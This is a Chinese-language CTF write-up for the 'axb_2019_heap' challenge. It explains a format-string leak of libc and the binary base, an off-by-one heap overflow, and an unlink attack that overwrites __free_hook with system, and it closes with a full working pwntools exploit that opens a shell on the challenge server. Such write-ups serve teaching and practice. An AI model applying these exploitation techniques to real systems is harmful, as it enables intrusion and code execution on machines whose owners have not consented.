axb_2019_heap

检查保护措施

1

本地调试

2

堆菜单布局

IDA静态分析

3

上来就怼了个格式化字符串漏洞用来泄露libc,因为这题没有show,虽然有show选项但是是个空壳

只会打印’None’

4

这两处地址是我们要泄露的,一个是main+28,一个是libc_start_main+240的libc_base,加上前面有6个寄存器,rdi, rsi, rdx, rcx, r8, r9,main+28的相对偏移是11,libc_start_mian+240的相对偏移是15,利用格式化字符串漏洞,name传入%11$p%15$p就可以泄露这两个值。再看一下各个功能函数

add():

5

我们创建的chunk要大于0x80也就是非fastbin,且malloc地址和chunk的size大小被存储在数组note[]中,自然而然想到了unlink攻击

free():

删除功能没有什么特别的,指针也置0了,不存在UAF

edit():

6

漏洞点:off-by-one,edit的时候允许多一字节,这一个字节可以覆盖掉下一个chunk的size,来伪造前面的要合并的chunk为空闲状态

先泄露libc:

1
2
3
4
5
6
7
8
9
io.recvuntil('name: ')
io.sendline('%11$p%15$p')
io.recvuntil('Hello, ')

base=int(io.recv(14),16)-0x1186
libc_base=int(io.recv(14),16)-libc.sym['__libc_start_main']-240
success("base:"+hex(base))
bss=base+0x202060

然后编辑chunk0伪造释放一个的chunk,如何伪造chunk以及fd和bk如何设置在笔者之前的一篇文章有详细解释可以参考:http://s4ndw1ch136.github.io/post/97216497.html

这里就不再赘述

1
2
3
4
payload1 = p64(0)+p64(0x90)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload1)

free(1)

布置好堆布局后,再去free(1),这时触发unlink去合并我们伪造的chunk

可以看到再去edit(0)的时候就可以改note[]数组内存放的指针

1
2
payload2 = p64(0)*3+p64(free_hook)+p64(0x10) 
edit(0,payload2)

由于这里的保护是全部开启的,也就是got表是不可改的,所以选择打free_hook,如果got表可以更改我们还可以去修改atoi的got表也是可行的

全部exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io = remote('node4.buuoj.cn',29505)
#io = process('./axb_2019_heap')
elf = ELF('./axb_2019_heap')

libc = ELF('./libc-2.23_64.so')

def add(idx,size,content):
io.sendlineafter('>>','1')
io.sendlineafter('):',str(idx))
io.sendlineafter('size:',str(size))
io.sendlineafter('content:',content)

def free(index):
io.sendlineafter('>>','2')
io.sendlineafter('index:',str(index))

def edit(index,content):
io.sendlineafter('>>','4')
io.sendlineafter('index:',str(index))
io.sendlineafter('content: \n',content)


io.recvuntil('name: ')
io.sendline('%11$p%15$p')
io.recvuntil('Hello, ')

base=int(io.recv(14),16)-0x1186
libc_base=int(io.recv(14),16)-libc.sym['__libc_start_main']-240
success("base:"+hex(base))
bss=base+0x202060

add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'/bin/sh')

system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']


fake_chunk_fd = bss - 0x18
fake_chunk_bk = bss - 0x10

payload1 = p64(0)+p64(0x90)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload1)

free(1)

payload2 = p64(0)*3+p64(free_hook)+p64(0x10)
edit(0,payload2)

edit(0,p64(system))
free(2)
io.interactive()

8